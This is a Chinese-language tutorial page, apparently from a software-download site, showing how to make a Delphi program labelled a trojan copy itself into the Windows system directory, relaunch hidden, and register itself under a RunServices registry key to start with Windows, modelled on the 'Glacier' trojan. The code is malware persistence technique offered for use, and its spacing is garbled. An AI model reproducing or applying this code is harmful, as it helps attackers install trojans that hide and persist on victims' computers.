Delphi實現可執行文件(木馬)自我拷貝

winrar免費版V5.30 官方正式版

• 類型：壓縮解壓大?。?i>1.8M語言：中文 評分：5.0
• 標簽：

立即下載

這種方法的原理是程序運行時先查看自己是不是在特定目錄下,如果是就繼續運行,如果不是就把自己拷貝到特定目錄下,然后運行新程序,再退出舊程序.
　　打開Delphi,新建一個工程,在窗口的Create事件中寫代碼：
　　procedureTForm1.FormCreate(Sender：TObject);
　　var
    myname:string;
　　begin
　　myname:=ExtractFilename(Application.Exename);//獲得文件名
　　ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
　　begin
　　copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{將自己拷貝到Windows\System\下}
　　Winexec(pchar(GetWindir+myname),sw_hide);//運行Windows\System\下的新文件
　　application.Terminate;//退出
　　end;
　　end;
　　其中GetWinDir是自定義函數,起功能是找出Windows\System\的路徑.
　　function GetWinDir：String;
　　var
　　Buf：array[0..MAX_PATH]ofchar;
　　begin
　　GetSystemDirectory(Buf,MAX_PATH);
　　Result：=Buf;
　　ifResult[Length(Result)]<>&#39;\&#39;thenResult：=Result+&#39;\&#39;;
　　end;
　　如何能使程序能在windows啟動時自動啟動？
　　為了程序能在Windows每次啟動時自動運行,可以通過六種途徑來實現.“冰河”用注冊表的方式.
　　加入Registry單元,改寫上面的窗口Create事件,改寫后的程序如下：
　　procedureTForm1.FormCreate(Sender：TObject);
　　constK=&#39;\Software\Microsoft\Windows\CurrentVersion\RunServices&#39;;
　　varmyname：string;
　　begin
　　{WritebyLovejingtao,http：//Lovejingtao.126.com,Lovejingtao@21cn.com}
　　myname：=ExtractFilename(Application.Exename);//獲得文件名
　　ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
　　begin
　　copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//將自己拷貝到Windows\System\下}
　　Winexec(pchar(GetWindir+myname),sw_hide);//運行Windows\System\下的新文件
　　application.Terminate;//退出
　　end;
　　withTRegistry.Createdo
　　try
　　RootKey：=HKEY_LOCAL_MACHINE;
　　OpenKey(K,TRUE);
　　WriteString(&#39;syspler&#39;,application.ExeName);
　　finally
　　free;
　　end;
　　end;